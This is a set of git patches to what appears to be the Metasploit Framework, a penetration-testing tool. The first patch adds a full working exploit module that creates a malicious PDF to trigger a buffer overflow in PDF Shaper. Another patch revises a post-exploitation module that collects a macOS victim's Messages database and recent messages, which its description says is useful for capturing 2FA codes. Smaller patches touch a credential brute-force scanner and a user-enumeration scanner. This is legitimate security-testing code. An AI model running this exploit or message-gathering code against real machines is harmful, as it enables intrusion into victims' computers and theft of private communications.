From 920ecf6fc56b893cabec094a476989cb59c72b64 Mon Sep 17 00:00:00 2001 From: Louis Sato Date: Fri, 18 Nov 2016 11:36:02 -0600 Subject: [PATCH 1/6] finishing metacoms work for pdf-shaper-bo --- .../windows/fileformat/shaper_pdf_bof.rb | 121 ++++++++++++++++++ 1 file changed, 121 insertions(+) create mode 100644 modules/exploits/windows/fileformat/shaper_pdf_bof.rb diff --git a/modules/exploits/windows/fileformat/shaper_pdf_bof.rb b/modules/exploits/windows/fileformat/shaper_pdf_bof.rb new file mode 100644 index 0000000000..5c99f109a0 --- /dev/null +++ b/modules/exploits/windows/fileformat/shaper_pdf_bof.rb @@ -0,0 +1,121 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::PDF + include Msf::Exploit::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'PDF Shaper Buffer Overflow', + 'Description' => %q{ + PDF Shaper is prone to a security vulnerability when processing PDF files. + The vulnerability appear when we use Convert PDF to Image and use a specially + crafted PDF file. This module has been tested successfully on Win Xp, Win 7, + Win 8, Win 10. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'metacom27[at]gmail.com - twitter.com/m3tac0m', # POC + 'metacom' # MSF Module + ], + 'References' => + [ + ['URL', 'https://www.exploit-db.com/exploits/37760/'] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process', # none/process/thread/seh + }, + 'Platform' => 'win', + 'Payload' => + { + 'Space' => 2000, + 'DisableNops' => true + }, + 'Targets' => + [ + ['', + { + 'Ret' => 0x00402AC1, # PDFTools.exe + 'Offset' => 433 + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Oct 03 2015', + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('FILENAME', [false, 'The file name.', 'msf.pdf']) + ], self.class + ) + end + + def exploit + file_create(make_pdf) + end + + def jpeg + buffer = "\xFF\xD8\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65\x00\x64\x80\x00\x00" + buffer << "\x00\x02\xFF\xDB\x00\x84\x00\x02\x02\x02\x02\x02\x02\x02\x02\x02" + buffer << "\x02\x03\x02\x02\x02\x03\x04\x03\x03\x03\x03\x04\x05\x04\x04\x04" + buffer << "\x04\x04\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x07\x08\x08\x08" + buffer << "\x07\x05\x09\x0A\x0A\x0A\x0A\x09\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C" + buffer << "\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x01\x03\x02\x02\x03\x03\x03\x07\x05" + buffer << "\x05\x07\x0D\x0A\x09\x0A\x0D\x0F\x0D\x0D\x0D\x0D\x0F\x0F\x0C\x0C" + buffer << "\x0C\x0C\x0C\x0F\x0F\x0C\x0C\x0C\x0C\x0C\x0C\x0F\x0C\x0E\x0E\x0E" + buffer << "\x0E\x0E\x0C\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11" + buffer << "\x11\x11\x11\x11\x11\x11\x11\x11\xFF\xC0\x00\x14\x08\x00\x32\x00" + buffer << "\xE6\x04\x01\x11\x00\x02\x11\x01\x03\x11\x01\x04\x11\x00\xFF\xC4" + buffer << "\x01\xA2\x00\x00\x00\x07\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00" + buffer << "\x00\x00\x00\x04\x05\x03\x02\x06\x01\x00\x07\x08\x09\x0A\x0B\x01" + buffer << "\x54\x02\x02\x03\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00" + buffer << "\x01\x00\x02\x03\x04\x05\x06\x07" + buffer << rand_text(target['Offset']) # junk + buffer << generate_seh_record(target.ret) + buffer << payload.encoded + buffer << rand_text(2388 - payload.encoded.length) + buffer + end + + def make_pdf + @pdf << header + add_object(1, "<>") + add_object(2, "<>") + add_object(3, "<>>>/MediaBox[0 0 612.0 792.0]>>") + add_object(4, "[/PDF/Text/ImageC]") + add_object(5, "<>") + stream_1 = "stream" << eol + stream_1 << "0.000 0.000 0.000 rg 0.000 0.000 0.000 RG q 265.000 0 0 229.000 41.000 522.000 cm /I0 Do Q" << eol + stream_1 << "endstream" << eol + add_object(6, "<>#{stream_1}") + stream = "<<" << eol + stream << "/Width 230" << eol + stream << "/BitsPerComponent 8" << eol + stream << "/Name /X" << eol + stream << "/Height 50" << eol + stream << "/Intent /RelativeColorimetric" << eol + stream << "/Subtype /Image" << eol + stream << "/Filter /DCTDecode" << eol + stream << "/Length #{jpeg.length}" << eol + stream << "/ColorSpace /DeviceCMYK" << eol + stream << "/Type /XObject" << eol + stream << ">>" + stream << "stream" << eol + stream << jpeg << eol + stream << "endstream" << eol + add_object(7, stream) + finish_pdf + end +end From b6fe6c1d38133142eca5727ac7f5dae0d31af02f Mon Sep 17 00:00:00 2001 From: William Vu Date: Mon, 28 Nov 2016 17:12:07 -0600 Subject: [PATCH 2/6] Fix #7597, minor changes to enum_messages --- modules/post/osx/gather/enum_messages.rb | 141 ++++++++--------------- 1 file changed, 48 insertions(+), 93 deletions(-) diff --git a/modules/post/osx/gather/enum_messages.rb b/modules/post/osx/gather/enum_messages.rb index d7c012b4d3..13d0091aaf 100644 --- a/modules/post/osx/gather/enum_messages.rb +++ b/modules/post/osx/gather/enum_messages.rb @@ -12,22 +12,22 @@ class MetasploitModule < Msf::Post super(update_info(info, 'Name' => 'OS X Gather Messages', 'Description' => %q{ - This module will collect the Messages sqlite3 database files and chat logs - from the victim's machine. There are four actions you may choose: DBFILE, - READABLE, LATEST and ALL. DBFILE and READABLE will retrieve all messages and - LATEST will retrieve the last X number of message (useful with 2FA). Module - was tested with OSX 10.11 (El Capitan). + This module will collect the Messages sqlite3 database files and chat logs + from the victim's machine. There are four actions you may choose: DBFILE, + READABLE, LATEST, and ALL. DBFILE and READABLE will retrieve all messages, and + LATEST will retrieve the last X number of messages (useful with 2FA). Module + was tested with OS X 10.11 (El Capitan). }, 'License' => MSF_LICENSE, - 'Author' => [ 'Geckom '], - 'Platform' => [ 'osx' ], - 'SessionTypes' => [ "meterpreter", "shell" ], + 'Author' => ['Geckom '], + 'Platform' => ['osx'], + 'SessionTypes' => ['meterpreter', 'shell'], 'Actions' => [ - ['DBFILE', { 'Description' => 'Collect messages DB file' } ], - ['READABLE', { 'Description' => 'Collect messages DB and download in a readable format' } ], - ['LATEST', { 'Description' => 'Collect the latest message' } ], - ['ALL', { 'Description' => 'Collect all messages data'}] + ['DBFILE', 'Description' => 'Collect Messages DB file'], + ['READABLE', 'Description' => 'Collect Messages DB and download in a readable format'], + ['LATEST', 'Description' => 'Collect the latest message'], + ['ALL', 'Description' => 'Collect all Messages data'] ], 'DefaultAction' => 'ALL' )) @@ -35,10 +35,42 @@ class MetasploitModule < Msf::Post register_options( [ OptInt.new('MSGCOUNT', [false, 'Number of latest messages to retrieve.', 3]), - OptString.new('USER', [false, 'Username to retrieve messages from (defaults to current user)', 'CURRENT']) - ], self.class) + OptString.new('USER', [false, 'Username to retrieve messages from (defaults to current user)']) + ] + ) end + def run + if datastore['USER'] + user = datastore['USER'] + else + user = cmd_exec('/usr/bin/whoami') + end + + # Check file exists + messages_path = "/Users/#{user}/Library/Messages/chat.db" + if file_exist?(messages_path) + print_good("#{peer} - Messages DB found: #{messages_path}") + else + fail_with(Failure::Unknown, "#{peer} - Messages DB does not exist") + end + + # Check messages. And then set the default profile path + unless messages_path + fail_with(Failure::Unknown, "#{peer} - Unable to find messages, will not continue") + end + + print_good("#{peer} - Found Messages file: #{messages_path}") + + files = [] + + # Download file + files << get_db(messages_path) if action.name =~ /ALL|DBFILE/i + files << readable(messages_path) if action.name =~ /ALL|READABLE/i + files << latest(messages_path) if action.name =~ /ALL|LATEST/i + + save(files) + end # # Collect messages db file. @@ -49,7 +81,6 @@ class MetasploitModule < Msf::Post {filename: 'messages.db', mime: 'bin', data: message_data} end - # # Generate a readable version of the messages DB # @@ -68,7 +99,7 @@ class MetasploitModule < Msf::Post 'ORDER BY m.date;' ] sql = sql.join(' ') - readable_data = exec_shell_cmd("sqlite3 #{messages_path} '#{sql}'") + readable_data = cmd_exec("sqlite3 #{messages_path} '#{sql}'") {filename: 'messages.txt', mime: 'text/plain', data: readable_data} end @@ -90,7 +121,7 @@ class MetasploitModule < Msf::Post "ORDER BY m.date DESC LIMIT #{datastore['MSGCOUNT']};" ] sql = sql.join(' ') - latest_data = exec_shell_cmd("sqlite3 #{messages_path} '#{sql}'") + latest_data = cmd_exec("sqlite3 #{messages_path} '#{sql}'") print_good("#{peer} - Latest messages: \n#{latest_data}") {filename: 'latest.txt', mime: 'text/plain', data: latest_data} end @@ -112,80 +143,4 @@ class MetasploitModule < Msf::Post end end - # - # Return an array or directory names - # - def dir(path) - results = [] - subdirs = exec_shell_cmd("ls -l #{path}") - - unless subdirs =~ /No such file or directory/ - results = subdirs.scan(/[A-Z][a-z][a-z]\x20+\d+\x20[\d\:]+\x20(.+)$/).flatten - end - - results - end - - # - # This is just a wrapper for cmd_exec(), except it chomp() the output, - # and retry under certain conditions. - # - def exec_shell_cmd(cmd) - begin - out = cmd_exec(cmd).chomp - rescue ::Timeout::Error => e - vprint_error("#{peer} - #{e.message} - retrying...") - retry - rescue EOFError => e - vprint_error("#{peer} - #{e.message} - retrying...") - retry - end - end - - # - def locate_messages(base) - dir(base).each do |folder| - m = folder.match(/(Messages)$/) - if m - m = m[0].gsub(/\x20/, "\\\\ ") + "/" - return "#{base}#{m}" - end - end - - nil - end - - def run - if datastore['USER'] == 'CURRENT' - user = exec_shell_cmd("/usr/bin/whoami") - else - user = datastore['USER'] - end - - # Check file exists - messages_path = "/Users/#{user}/Library/Messages/chat.db" - if file_exist?(messages_path) - print_good("#{peer} - Messages DB found: #{messages_path}") - else - fail_with(Failure::Unknown, "#{peer} - Messages DB does not exist") - end - - # Check messages. And then set the default profile path - unless messages_path - fail_with(Failure::Unknown, "#{peer} - Unable to find messages, will not continue") - end - - print_good("#{peer} - Found messages file: #{messages_path}") - - files = [] - - # Download file - files << get_db(messages_path) if action.name =~ /ALL|DBFILE/i - files << readable(messages_path) if action.name =~ /ALL|READABLE/i - files << latest(messages_path) if action.name =~ /ALL|LATEST/i - - save(files) - - end - end From 878779e14ced549d1d5978fe047a9ad691b03454 Mon Sep 17 00:00:00 2001 From: Adam Cammack Date: Tue, 29 Nov 2016 10:12:17 -0600 Subject: [PATCH 3/6] Fix typo in payloads/linux/armle/mettle --- modules/payloads/stages/linux/armle/mettle.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/stages/linux/armle/mettle.rb b/modules/payloads/stages/linux/armle/mettle.rb index 99d79d3db3..8eac9c875f 100644 --- a/modules/payloads/stages/linux/armle/mettle.rb +++ b/modules/payloads/stages/linux/armle/mettle.rb @@ -82,6 +82,6 @@ module MetasploitModule def generate_stage(opts = {}) opts[:uuid] ||= generate_payload_uuid MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', opts.slice(:uuid, :url, :debug, :log_file)). - to_bininary :process_image + to_binary :process_image end end From 1beeb99d44f57064767139091ff601e9f3f38b6e Mon Sep 17 00:00:00 2001 From: Jin Qian Date: Tue, 29 Nov 2016 12:52:57 -0600 Subject: [PATCH 4/6] Fix issue 7628, username extracted became garbled Make the regular expression less aggressive. --- modules/auxiliary/scanner/http/concrete5_member_list.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/concrete5_member_list.rb b/modules/auxiliary/scanner/http/concrete5_member_list.rb index 1198f3b850..0806d55456 100644 --- a/modules/auxiliary/scanner/http/concrete5_member_list.rb +++ b/modules/auxiliary/scanner/http/concrete5_member_list.rb @@ -66,7 +66,7 @@ class MetasploitModule < Msf::Auxiliary end def extract_members(res, url) - members = res.body.scan(/
(.*)<\/div>/i) + members = res.body.scan(/
(.*?)<\/div>/i) if members print_good("#{peer} Extracted #{members.length} entries") From afed1f465ecc70a8e4624da0782fd1c03f25333a Mon Sep 17 00:00:00 2001 From: Jin Qian Date: Tue, 29 Nov 2016 14:57:15 -0600 Subject: [PATCH 5/6] Fix issue 7632 where MSF keeps trying after success. Thanks to Wei who suggested adding "return :next_user" after success. --- modules/auxiliary/scanner/http/dell_idrac.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/auxiliary/scanner/http/dell_idrac.rb b/modules/auxiliary/scanner/http/dell_idrac.rb index 7d60b0886b..e36dab1cab 100644 --- a/modules/auxiliary/scanner/http/dell_idrac.rb +++ b/modules/auxiliary/scanner/http/dell_idrac.rb @@ -77,6 +77,7 @@ class MetasploitModule < Msf::Auxiliary password: pass, proof: auth.body.to_s ) + return :next_user else print_error("#{target_url} - Dell iDRAC - Failed to login as '#{user}' with password '#{pass}'") end From e5db0f4610ecb33fc124d9ce00628547e48310df Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 30 Nov 2016 15:51:17 +1000 Subject: [PATCH 6/6] Fix unpack causing puid breakage in some cases --- lib/msf/core/payload/uuid.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/payload/uuid.rb b/lib/msf/core/payload/uuid.rb index 9f9e7c0a8e..067dd4c438 100644 --- a/lib/msf/core/payload/uuid.rb +++ b/lib/msf/core/payload/uuid.rb @@ -138,7 +138,7 @@ class Msf::Payload::UUID raise ArgumentError, "Raw UUID must be at least 16 bytes" end - puid, plat_xor, arch_xor, plat_id, arch_id, tstamp = raw.unpack('A8C4N') + puid, plat_xor, arch_xor, plat_id, arch_id, tstamp = raw.unpack('a8C4N') plat = find_platform_name(plat_xor ^ plat_id) arch = find_architecture_name(arch_xor ^ arch_id) time_xor = [plat_xor, arch_xor, plat_xor, arch_xor].pack('C4').unpack('N').first